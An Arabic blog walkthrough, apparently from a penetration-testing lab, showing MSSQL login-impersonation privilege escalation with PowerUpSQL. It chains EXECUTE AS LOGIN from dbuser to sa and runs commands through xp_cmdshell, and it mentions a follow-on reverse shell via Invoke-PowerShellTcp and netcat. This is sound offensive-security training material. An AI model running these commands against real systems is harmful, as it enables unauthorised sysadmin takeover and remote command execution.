Domain Privilege Escalation - MSSQL Impersonate Sys Admin

Jehad Alqurashiمنذ سنة

السلام عليكم ورحمة الله وبركاته

الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد:

مقدمة:

 

في هذي المقالة راح نشرح التكينك الاول لي الـDomain Privilege وهو الـMSSQL impersonate

 

في هذا التكنيك راح نشوف كيف راح نخترق جهاز اخر يوجد عليه خدمة MSSQL عن طريق انتحال الـsysadmin

 

الشرح:

اول شي انا داخل بمستخدم pastudent131 راح نسوي Load لاداة PowerUpSQL عن طريق هذا الامر:

 

Import-Module .\PowerUpSQL-master\PowerUpSQL.ps1

الان راح نشوف هل اليوزر الخاص بنا عنده صلاحيات انه يسوي Access لخدمة MSSQL اخرى موجودة في جهاز اخر

عن طريق هذا الامر:
 

Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

نلاحظ انه المستخدم الخاص فينا اللي هو pastudent131 عنده Access على سيرفس MSSQL على جهاز اخر واللي هو UFC-SQLDev.us.funcorp.local

لكن المشكلة انه المستخدم الخاص فينا لا يملك صلاحية SysAdmin ف مانقدر ننفذ اوامر على النظام اللي عليه MSSQL Service عشان نجيب Reverse Shell

 

 

الان راح نشوف ايش المستخدمين اللي ممكن نسويلهم انتحال عن طريق هذا الامر:

Get-SQLServerLinkCrawl -Instance <INSTANCE> -Verbose -Query 'SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE'''

 

نلاحظ انه يممكنا انتحال مستخدمين واللي هم sa و dbuser بس مانعرف اي واحد فيهم عنده صلاحية sysadmin

 

لذلك راح ننفذ امر وراح يوضح لنا اي المستخدمين عنده صلاحية sysadmin :

Invoke-SQLAuditPrivImpersonateLogin -Instance ufc-sqldev -Verbose -Debug -Exploit


لو نلاحظ انه كاتب لنا اي مستخدم موجود في قروب RDPUsers يمكنه انتحال المستخدم dbuser بس ماعنده صلاحيات sysadmin

ويمكن للمستخدم dbuser انتحال المستخدم sa ويملك صلاحيات SysAdmin (:

 

الان اللي راح نسويه انه ننتحل المستخدم dbuser وبعد كذا نتحل المستخدم sa

 

راح ننفذ هذا الامر بحيث راح ينتحل لنا المستخدم dbuser بعدين المستخدم sa وراح ينفذ لنا امر whoami على جهاز ufc-sqldev :

Get-SQLQuery -Verbose -instance ufc-sqldev -Query "EXECUTE AS LOGIN = 'dbuser';EXECUTE AS LOGIN = 'sa';exec xp_cmdshell 'whoami' "  -User USFUN\pastudent131

 

جميل جدا  (:

 

الان راح افتح http server وراح انقل سكربت Invoke-PowerShellTcp عشان نجيب Reverse Shell وراح افتح تنصت عن طريق netcat (:

 

 

وبكذا وصلنا الى نهاية المقالة و اتمنى انه نالت على اعجابكم

 

شاكر لكم.

كلمات دليلية: hacking
0
إعجاب
855
مشاهدات
0
مشاركة
1
متابع

التعليقات (0)

لايوجد لديك حساب في عالم البرمجة؟

تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !